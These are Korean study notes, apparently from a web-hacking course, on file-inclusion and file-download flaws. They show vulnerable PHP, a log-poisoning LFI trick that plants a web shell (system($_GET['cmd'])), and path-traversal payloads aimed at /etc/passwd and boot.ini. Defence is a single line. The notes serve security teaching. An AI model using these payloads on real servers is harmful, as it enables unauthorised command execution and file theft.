정보보안 및 해킹/Normaltic's 취업반 강의
[15 WEEK] File Include & File Download
phantom0308
2024. 8. 28. 11:55
File Include
include기능을 이용한 취약점
include > include된 파일 안에 있는 모든 내용을 복사/붙여넣기 하듯이 기능을 그대로 실행하는 점을 이용
<?php
include($_GET['lang']);
?>
취약한 점
서버 측 코드는 서버에서 한 번 실행을 함
맹점
소스코드를 가져올 수 없음 > 서버에서 실행하기 때문
LFI(Local File Include)
파일을 올리지 않은 상태로 웹 로그를 이용한 취약점
어떻게?
주소 창에 실행하고자 하는 코드를 입력하여 로그에 남김
<?php system($_GET['cmd']); ?>
로그에 남긴 코드가 실행되도록 함
/opt/lampp/logs/accrss_log&cmd=ls
File Download
파일을 다운로드 시켜주는 서버 측 코드의 경로를 변경하여 루트 경로 등으로 접근하여 해당 소스코드를 다운로드 할 수 있는 취약점
download.php?fileName=test.txt
<?php
$fileName = $_GET['fileName'];
download('/files/'. $fileName);
?>
어떻게?
파일을 다운로드 받는 링크를 복사하여 해당 서버 측 코드에서 파일 명을 경로로 변경
download.php?fileName=test.txt
download.php?fileName = ../../../../../../../etc/passwd
취약한 점
소스코드를 실행할 수 없음
맹점
소스코드를 다운로드 할 수 있음 (분석해서 다른 취약점을 찾을 수 있음)
POC
Linux
/etc/passwd
Windows
/boot.ini
/winnt/win.ini
../../../../../../../../../boot.ini
대응 방안
File Download 대응방안은 File Upload 대응방안과 같음